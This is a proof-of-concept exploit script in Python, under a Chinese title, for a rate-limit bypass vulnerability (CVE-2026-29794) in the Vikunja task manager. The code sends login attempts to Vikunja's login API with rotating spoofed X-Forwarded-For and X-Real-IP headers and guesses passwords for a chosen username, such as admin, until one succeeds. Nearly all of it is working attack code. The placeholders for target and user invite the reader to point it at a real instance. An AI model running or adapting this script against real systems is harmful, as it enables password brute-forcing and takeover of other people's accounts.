CVE-2026-29794 Vikunja速率限制绕过漏洞

import requests def exploit_rate_limit_bypass(target_url, username): """ PoC for CVE-2026-29794: Bypass rate limit by spoofing IP headers. This script simulates brute-forcing by rotating the X-Forwarded-For header. """ # Example endpoint: Vikunja login API endpoint = f"{target_url}/api/v1/login" # Simulate a range of IP addresses for i in range(1, 100): # Spoof the X-Forwarded-For header to bypass rate limiting spoofed_ip = f"192.168.{i % 255}.{(i * 10) % 255}" headers = { "User-Agent": "Mozilla/5.0 (PoC-Scanner)", "X-Forwarded-For": spoofed_ip, "X-Real-IP": spoofed_ip } # Payload for brute force simulation data = { "username": username, "password": f"password_{i}" # Simulating password guessing } try: response = requests.post(endpoint, headers=headers, json=data, timeout=5) print(f"Attempt {i} from IP {spoofed_ip}: Status {response.status_code}") if response.status_code == 200: print(f"[!] Potential successful login at attempt {i}") break except requests.exceptions.RequestException as e: print(f"Error connecting to {target_url}: {e}") if __name__ == "__main__": target = "http://localhost:3456" # Replace with target instance user = "admin" # Replace with target username exploit_rate_limit_bypass(target, user)